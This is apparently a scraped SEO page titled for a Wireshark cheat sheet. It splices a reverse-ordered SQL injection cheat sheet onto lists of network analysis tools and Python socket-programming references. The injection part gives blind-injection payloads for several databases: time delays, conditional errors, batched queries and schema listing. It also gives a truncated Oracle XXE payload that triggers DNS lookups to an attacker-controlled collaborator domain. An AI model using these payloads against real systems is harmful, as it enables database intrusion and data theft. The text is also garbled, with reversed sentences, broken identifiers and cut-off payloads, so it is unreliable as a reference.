#Wireshark cheat sheet pdf code
#Wireshark cheat sheet pdf free

SELECT EXTRACTVALUE(xmltype(' %remote ]>'),'/l') FROM dual The vulnerability has been patched but there are many unpatched Oracle installations in existence: The following technique leverages an XML external entity ( XXE) vulnerability to trigger a DNS lookup. To do this, you will need to use Burp Collaborator client to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.

You can cause the database to perform a DNS lookup to an external domain.

SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual You can test a single boolean condition and trigger a time delay if the condition is true. The following will cause an unconditional time delay of 10 seconds. You can cause a time delay in the database when the query is processed. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database. With MySQL, batched queries typically cannot be used for SQL injection. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay. Note that while the subsequent queries are executed, the results are not returned to the application. You can use batched queries to execute multiple queries in succession. SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL ENDġ = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST(1/0 AS INTEGER) ELSE NULL END) SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual You can test a single boolean condition and trigger a database error if the condition is true. SELECT * FROM information_lumns WHERE table_name = 'TABLE-NAME-HERE' SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' You can list the tables that exist in the database, and the columns that those tables contain. This information is useful when formulating more complicated attacks. You can query the database to determine its type and version. You can use comments to truncate a query and remove the portion of the original query that follows your input. Each of the following expressions will return the string ba. You can extract part of a string, from a specified offset with a specified length.

You can concatenate together multiple strings to make a single string.

#Wireshark cheat sheet pdf free

GIT a free and open source distributed version control system.This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.

my VI survival guide (in french) ( pdf).

Socket – Network Communication by PyMOTW.

Comunications à travers un réseau du livre Apprendre à programmer avec Python 3.

Tutorial on Network Programming with Python ( pdf).

#Wireshark cheat sheet pdf code

Code SCD: 681.223 GOEįoundations of Python Network Programming.

All the documentation of Python programming language.

Python Module of the Week (PyMOTW) is a tour of the Python standard library through short examples.

Building Skills in Python: A Programmer's Introduction to Python by Steven F.

Apprendre à programmer avec Python par Gérard Swinnen (2006).

' An Advanced 4.3bsd Interprocess Communication Tutorial'. ' An Introductory 4.4bsd Interprocess Communication Tutorial'.

The GNU C Library reference guide: Socket section.

MobiEmu is a tool for emulating mobile ad-hoc network environment with a fixed network of Linux machines.

Tstat: TCP STatistic and Analysis Tool, a passive sniffer able to provide several insight on the traffic patterns at both the the network and transport levels.

tcpreplay: tool to replay captured net traffic.

tcptraceroute: alternative to traceroute, using TCP packets.

tcpflow: captures data transmitted as part of TCP connections.

dnstop: display DNS traffic on your network.

fping: pings a large number of hosts in one time.

pchar: A Tool for Measuring Internet Path Characteristics.

GNS-3 : Virtual network with graphical interface.

screen: a full-screen window manager that multiplexes a physical terminal between several processes.

Une introduction de l'émulateur Netkit ( pdf) (fr).

NetKit : The poor man's system to experiment computer networking.

Scapy: interactive packet manipulation in python.

WScout: processing and analysis of big traces.

tcpdump: a powerful command-line packet analyzer.

Wireshark: The World's Most Popular Network Protocol Analyzer.